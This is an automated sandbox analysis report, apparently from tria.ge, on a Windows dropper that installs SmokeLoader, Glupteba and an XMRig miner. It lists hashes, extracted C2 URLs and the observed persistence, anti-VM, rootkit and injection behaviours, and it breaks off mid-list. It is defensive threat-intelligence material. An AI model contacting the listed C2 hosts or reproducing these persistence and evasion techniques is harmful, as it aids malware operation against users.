Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
151s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
31/10/2023, 20:54
Static task
static1
Behavioral task
behavioral1
Sample
tmp.exe
Resource
win7-20231020-en
General
-
Target
tmp.exe
-
Size
12.5MB
-
MD5
d9ebd26ee58f71cde091943042318e1e
-
SHA1
dd769d691f1b937aa4db724c7d0686dfe09989d4
-
SHA256
7b101e4c3f86d6b121d25c79d718af9b24ad1ba2bbf9ad83dc285b8ba2e4756a
-
SHA512
c542bbac2afdc4371a42fc7a678a9f12855a0fa07bf9ea32403acdae7bc460da3b2d8990af6fb47ed82e74aaeaa4277ce8093e8fe9d75a8151a4e3493136c7ef
-
SSDEEP
393216:Y3Jwzzz3BmMupONDnuc6zhVu2fX5xQnRh7UBlLKcOLyjM:4/zhNiEB9Kq
Malware Config
Extracted
smokeloader
up3
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
Signatures
-
Glupteba payload 14 IoCs
resource yara_rule behavioral2/memory/4904-63-0x0000000002E70000-0x000000000375B000-memory.dmp family_glupteba behavioral2/memory/4904-69-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4904-136-0x0000000002E70000-0x000000000375B000-memory.dmp family_glupteba behavioral2/memory/4904-139-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4904-141-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4904-205-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/2392-208-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/2392-248-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/2392-347-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4732-413-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4732-470-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4732-484-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4732-557-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/4732-573-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
description pid Process procid_target PID 2260 created 3308 2260 latestX.exe 59 PID 2260 created 3308 2260 latestX.exe 59 PID 2260 created 3308 2260 latestX.exe 59 PID 2260 created 3308 2260 latestX.exe 59 PID 2260 created 3308 2260 latestX.exe 59 PID 2916 created 3308 2916 updater.exe 59 PID 2916 created 3308 2916 updater.exe 59 PID 2916 created 3308 2916 updater.exe 59 PID 2916 created 3308 2916 updater.exe 59 PID 2916 created 3308 2916 updater.exe 59 PID 2916 created 3308 2916 updater.exe 59 -
XMRig Miner payload 1 IoCs
resource yara_rule behavioral2/memory/2916-565-0x00007FF7AF9C0000-0x00007FF7AFF61000-memory.dmp xmrig -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts updater.exe File created C:\Windows\System32\drivers\etc\hosts latestX.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 1760 netsh.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation tmp.exe Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation kos4.exe -
Executes dropped EXE 17 IoCs
pid Process 2820 InstallSetup5.exe 3996 toolspub2.exe 4904 e0cbefcb1af40c7d4aff4aca26621a98.exe 5060 kos4.exe 4420 Broom.exe 2260 latestX.exe 4920 LzmwAqmV.exe 4304 LzmwAqmV.tmp 4864 SRadioStation.exe 2776 SRadioStation.exe 3504 toolspub2.exe 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 4732 csrss.exe 2916 updater.exe 4316 injector.exe 3556 windefender.exe 4328 windefender.exe -
Loads dropped DLL 1 IoCs
pid Process 4304 LzmwAqmV.tmp -
resource yara_rule behavioral2/files/0x000800000001e79b-475.dat upx behavioral2/files/0x000800000001e79b-477.dat upx behavioral2/files/0x000800000001e79b-478.dat upx behavioral2/memory/3556-481-0x0000000000400000-0x00000000008DF000-memory.dmp upx -
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 51.159.66.125 -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" e0cbefcb1af40c7d4aff4aca26621a98.exe Set value (str) \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3996 set thread context of 3504 3996 toolspub2.exe 104 PID 2916 set thread context of 2928 2916 updater.exe 191 PID 2916 set thread context of 2988 2916 updater.exe 192 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN e0cbefcb1af40c7d4aff4aca26621a98.exe -
Drops file in Program Files directory 20 IoCs
description ioc Process File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-CDGC3.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-1T08R.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-GM3OB.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\XML\Styles\is-B86AP.tmp LzmwAqmV.tmp File created C:\Program Files\Google\Chrome\updater.exe latestX.exe File created C:\Program Files (x86)\Radio Station 1.7.10.31\unins000.dat LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-ASAV6.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-283VJ.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-SP7GC.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-8LK0J.tmp LzmwAqmV.tmp File opened for modification C:\Program Files (x86)\Radio Station 1.7.10.31\unins000.dat LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-LTJ2U.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-LCPNC.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-S5IC0.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\XML\Styles\is-3DJ99.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-8UMO3.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\is-K8HOV.tmp LzmwAqmV.tmp File created C:\Program Files (x86)\Radio Station 1.7.10.31\XML\Styles\is-H88KT.tmp LzmwAqmV.tmp File opened for modification C:\Program Files (x86)\Radio Station 1.7.10.31\SRadioStation.exe LzmwAqmV.tmp File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\rss e0cbefcb1af40c7d4aff4aca26621a98.exe File created C:\Windows\rss\csrss.exe e0cbefcb1af40c7d4aff4aca26621a98.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3040 sc.exe 4996 sc.exe 2384 sc.exe 2020 sc.exe 3992 sc.exe 4652 sc.exe 3480 sc.exe 3284 sc.exe 1048 sc.exe 2640 sc.exe 4180 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 972 4904 WerFault.exe 91 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2356 schtasks.exe 4500 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-622 = "Korea Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-791 = "SA Western Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2751 = "Tomsk Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2492 = "Aus Central W. Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2142 = "Transbaikal Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" windefender.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2531 = "Chatham Islands Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-432 = "Iran Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-752 = "Tonga Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" e0cbefcb1af40c7d4aff4aca26621a98.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1662 = "Bahia Standard Time" windefender.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3504 toolspub2.exe 3504 toolspub2.exe 4624 powershell.exe 4624 powershell.exe 4624 powershell.exe 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE 3308 Explorer.EXE -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3504 toolspub2.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5060 kos4.exe Token: SeDebugPrivilege 4624 powershell.exe Token: SeShutdownPrivilege 3308 Explorer.EXE Token: SeCreatePagefilePrivilege 3308 Explorer.EXE Token: SeDebugPrivilege 4904 e0cbefcb1af40c7d4aff4aca26621a98.exe Token: SeImpersonatePrivilege 4904 e0cbefcb1af40c7d4aff4aca26621a98.exe Token: SeShutdownPrivilege 3308 Explorer.EXE Token: SeCreatePagefilePrivilege 3308 Explorer.EXE Token: SeDebugPrivilege 2284 powershell.exe Token: SeShutdownPrivilege 3308 Explorer.EXE Token: SeCreatePagefilePrivilege 3308 Explorer.EXE Token: SeShutdownPrivilege 3308 Explorer.EXE Token: SeCreatePagefilePrivilege 3308 Explorer.EXE Token: SeDebugPrivilege 2056 powershell.exe Token: SeShutdownPrivilege 3308 Explorer.EXE Token: SeCreatePagefilePrivilege 3308 Explorer.EXE Token: SeDebugPrivilege 4412 powershell.exe Token: SeDebugPrivilege 1928 powershell.exe Token: SeDebugPrivilege 788 powershell.exe Token: SeShutdownPrivilege 4772 powercfg.exe Token: SeCreatePagefilePrivilege 4772 powercfg.exe Token: SeShutdownPrivilege 4884 powercfg.exe Token: SeCreatePagefilePrivilege 4884 powercfg.exe Token: SeShutdownPrivilege 2816 powercfg.exe Token: SeCreatePagefilePrivilege 2816 powercfg.exe Token: SeShutdownPrivilege 4840 powercfg.exe Token: SeCreatePagefilePrivilege 4840 powercfg.exe Token: SeIncreaseQuotaPrivilege 788 powershell.exe Token: SeSecurityPrivilege 788 powershell.exe Token: SeTakeOwnershipPrivilege 788 powershell.exe Token: SeLoadDriverPrivilege 788 powershell.exe Token: SeSystemProfilePrivilege 788 powershell.exe Token: SeSystemtimePrivilege 788 powershell.exe Token: SeProfSingleProcessPrivilege 788 powershell.exe Token: SeIncBasePriorityPrivilege 788 powershell.exe Token: SeCreatePagefilePrivilege 788 powershell.exe Token: SeBackupPrivilege 788 powershell.exe Token: SeRestorePrivilege 788 powershell.exe Token: SeShutdownPrivilege 788 powershell.exe Token: SeDebugPrivilege 788 powershell.exe Token: SeSystemEnvironmentPrivilege 788 powershell.exe Token: SeRemoteShutdownPrivilege 788 powershell.exe Token: SeUndockPrivilege 788 powershell.exe Token: SeManageVolumePrivilege 788 powershell.exe Token: 33 788 powershell.exe Token: 34 788 powershell.exe Token: 35 788 powershell.exe Token: 36 788 powershell.exe Token: SeShutdownPrivilege 3308 Explorer.EXE Token: SeCreatePagefilePrivilege 3308 Explorer.EXE Token: SeIncreaseQuotaPrivilege 788 powershell.exe Token: SeSecurityPrivilege 788 powershell.exe Token: SeTakeOwnershipPrivilege 788 powershell.exe Token: SeLoadDriverPrivilege 788 powershell.exe Token: SeSystemProfilePrivilege 788 powershell.exe Token: SeSystemtimePrivilege 788 powershell.exe Token: SeProfSingleProcessPrivilege 788 powershell.exe Token: SeIncBasePriorityPrivilege 788 powershell.exe Token: SeCreatePagefilePrivilege 788 powershell.exe Token: SeBackupPrivilege 788 powershell.exe Token: SeRestorePrivilege 788 powershell.exe Token: SeShutdownPrivilege 788 powershell.exe Token: SeDebugPrivilege 788 powershell.exe Token: SeSystemEnvironmentPrivilege 788 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4304 LzmwAqmV.tmp -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4420 Broom.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3308 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1764 wrote to memory of 2820 1764 tmp.exe 89 PID 1764 wrote to memory of 2820 1764 tmp.exe 89 PID 1764 wrote to memory of 2820 1764 tmp.exe 89 PID 1764 wrote to memory of 3996 1764 tmp.exe 90 PID 1764 wrote to memory of 3996 1764 tmp.exe 90 PID 1764 wrote to memory of 3996 1764 tmp.exe 90 PID 1764 wrote to memory of 4904 1764 tmp.exe 91 PID 1764 wrote to memory of 4904 1764 tmp.exe 91 PID 1764 wrote to memory of 4904 1764 tmp.exe 91 PID 1764 wrote to memory of 5060 1764 tmp.exe 93 PID 1764 wrote to memory of 5060 1764 tmp.exe 93 PID 2820 wrote to memory of 4420 2820 InstallSetup5.exe 92 PID 2820 wrote to memory of 4420 2820 InstallSetup5.exe 92 PID 2820 wrote to memory of 4420 2820 InstallSetup5.exe 92 PID 1764 wrote to memory of 2260 1764 tmp.exe 94 PID 1764 wrote to memory of 2260 1764 tmp.exe 94 PID 5060 wrote to memory of 4920 5060 kos4.exe 96 PID 5060 wrote to memory of 4920 5060 kos4.exe 96 PID 5060 wrote to memory of 4920 5060 kos4.exe 96 PID 4920 wrote to memory of 4304 4920 LzmwAqmV.exe 97 PID 4920 wrote to memory of 4304 4920 LzmwAqmV.exe 97 PID 4920 wrote to memory of 4304 4920 LzmwAqmV.exe 97 PID 4304 wrote to memory of 2284 4304 LzmwAqmV.tmp 99 PID 4304 wrote to memory of 2284 4304 LzmwAqmV.tmp 99 PID 4304 wrote to memory of 2284 4304 LzmwAqmV.tmp 99 PID 4304 wrote to memory of 4864 4304 LzmwAqmV.tmp 100 PID 4304 wrote to memory of 4864 4304 LzmwAqmV.tmp 100 PID 4304 wrote to memory of 4864 4304 LzmwAqmV.tmp 100 PID 4304 wrote to memory of 2776 4304 LzmwAqmV.tmp 102 PID 4304 wrote to memory of 2776 4304 LzmwAqmV.tmp 102 PID 4304 wrote to memory of 2776 4304 LzmwAqmV.tmp 102 PID 2284 wrote to memory of 4632 2284 net.exe 103 PID 2284 wrote to memory of 4632 2284 net.exe 103 PID 2284 wrote to memory of 4632 2284 net.exe 103 PID 3996 wrote to memory of 3504 3996 toolspub2.exe 104 PID 3996 wrote to memory of 3504 3996 toolspub2.exe 104 PID 3996 wrote to memory of 3504 3996 toolspub2.exe 104 PID 3996 wrote to memory of 3504 3996 toolspub2.exe 104 PID 3996 wrote to memory of 3504 3996 toolspub2.exe 104 PID 3996 wrote to memory of 3504 3996 toolspub2.exe 104 PID 4904 wrote to memory of 4624 4904 e0cbefcb1af40c7d4aff4aca26621a98.exe 108 PID 4904 wrote to memory of 4624 4904 e0cbefcb1af40c7d4aff4aca26621a98.exe 108 PID 4904 wrote to memory of 4624 4904 e0cbefcb1af40c7d4aff4aca26621a98.exe 108 PID 2392 wrote to memory of 2284 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 118 PID 2392 wrote to memory of 2284 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 118 PID 2392 wrote to memory of 2284 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 118 PID 2392 wrote to memory of 3284 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 135 PID 2392 wrote to memory of 3284 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 135 PID 3284 wrote to memory of 1760 3284 sc.exe 123 PID 3284 wrote to memory of 1760 3284 sc.exe 123 PID 2392 wrote to memory of 2056 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 124 PID 2392 wrote to memory of 2056 2392 e0cbefcb1af40c7d4aff4aca26621a98.exe 124 PID 2392 wrote to memory of 2056 2392 